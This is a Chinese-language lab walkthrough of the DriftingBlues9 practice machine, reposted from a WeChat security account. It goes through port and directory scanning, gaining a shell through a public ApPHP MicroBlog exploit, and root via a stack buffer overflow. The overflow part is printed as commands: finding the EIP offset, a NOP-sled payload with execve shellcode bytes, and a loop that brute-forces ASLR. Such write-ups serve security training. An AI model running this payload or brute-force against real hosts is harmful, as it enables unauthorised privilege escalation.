【OSCP】driftingblues9

admin 2024年3月20日08:41:34评论40 views字数 2294阅读7分38秒阅读模式
【OSCP】driftingblues9

OSCP 靶场

【OSCP】driftingblues9

靶场介绍

driftingblues9

easy

aPphp GETSHELL、searchsploit使用、凭据收集、gdb使用、

缓冲区溢出漏洞(难)、pattern_create.rb、pattern_offset.rb 使用

信息收集

主机发现

nmap -sn 192.168.1.0/24

端口扫描

└─# nmap -sV -A -p- -T4 192.168.1.196
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-27 22:10 EST
Nmap scan report for 192.168.1.196
Host is up (0.00083s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: ApPHP MicroBlog
|_http-generator: ApPHP MicroBlog vCURRENT_VERSION
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          45566/udp6  status
|   100024  1          48432/tcp   status
|   100024  1          58435/tcp6  status
|_  100024  1          58823/udp   status
48432/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:DF:FD:9D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

【OSCP】driftingblues9

目录扫描

gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.1.196 -x php,txt,html -e

【OSCP】driftingblues9

权限获取

searchsploit apphp   

【OSCP】driftingblues9

使用exp直接获取权限

【OSCP】driftingblues9

反弹一个shell

【OSCP】driftingblues9

权限提升

这里还有一个账号,我们需要提升到该用户获取flag

【OSCP】driftingblues9

root 提权提示,这里需要利用缓冲区溢出漏洞进行提权

【OSCP】driftingblues9

首先我们先下载靶机里面的input 文件

【OSCP】driftingblues9

我必须先禁用 ASLR,然后在 gdb 中加载二进制文件。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
gdb -q input

使用./pattern_create.rb 生成一个2000的字符串。可以看到在 0x41376641 处得到了分段错误。现在,我们需要用它来查找偏移量。

【OSCP】driftingblues9

【OSCP】driftingblues9

接着我们使用 patter_offset.rb 来查找我们可以覆盖 EIP 的字节数。执行后可以看到171字节后可以覆盖EIP。

【OSCP】driftingblues9

我们在 171 处得到了精确匹配。现在,我们可以使用 python 命令简单地创建字符串。例如,输入包含具有 171 个 A、4 个 B 和 500 个 nop 的简单输入。

./input $(python2 -c 'print "A" * 171 + "B" * 4 + "x90" * 500')

我们可以使用 gdb 中的参数来进行测试。

【OSCP】driftingblues9

之后,我检查了 esp 寄存器,并由于小端字节序而用相反顺序的地址替换了 4 个 B。之后,我在 nop sled 之后添加了 shell。我的最终输入如下:

# obtained address: 0xffffcd20
# added more nops
run $(python -c 'print "A" * 171 + "x20xcdxffxff" + "x90" * 2000 + "x31xc9xf7xe1x51xbfxd0xd0x8cx97xbexd0x9dx96x91xf7xd7xf7xd6x57x56x89xe3xb0x0bxcdx80"')

我也在目标机器上重复了相同的过程。但是,目标上的 ASLR 已启用,如果没有 root 权限,我们无法禁用它。因此,我们必须多次迭代相同的代码行。

在目标机器上:

gdb -q input
run $(python -c 'print "A"*171 + "B"*4 + "x90" * 2000')

我替换了之前有效负载中的地址并运行了 for 循环。

for i in {1..10000}; do (./input $(python -c 'print "A" * 171 + "xd0xd8xe5xbf" + "x90" * 2000 + "x31xc9xf7xe1x51xbfxd0xd0x8cx97xbexd0x9dx96x91xf7xd7xf7xd6x57x56x89xe3xb0x0bxcdx80"')); done

经过两次不同的尝试,我得到了 root shell 和 flag。

cd /root
cat root.txt

【OSCP】driftingblues9

End

“点赞、在看与分享都是莫大的支持”

原文始发于微信公众号(贝雷帽SEC):【OSCP】driftingblues9

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月20日08:41:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【OSCP】driftingblues9https://cn-sec.com/archives/2587957.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息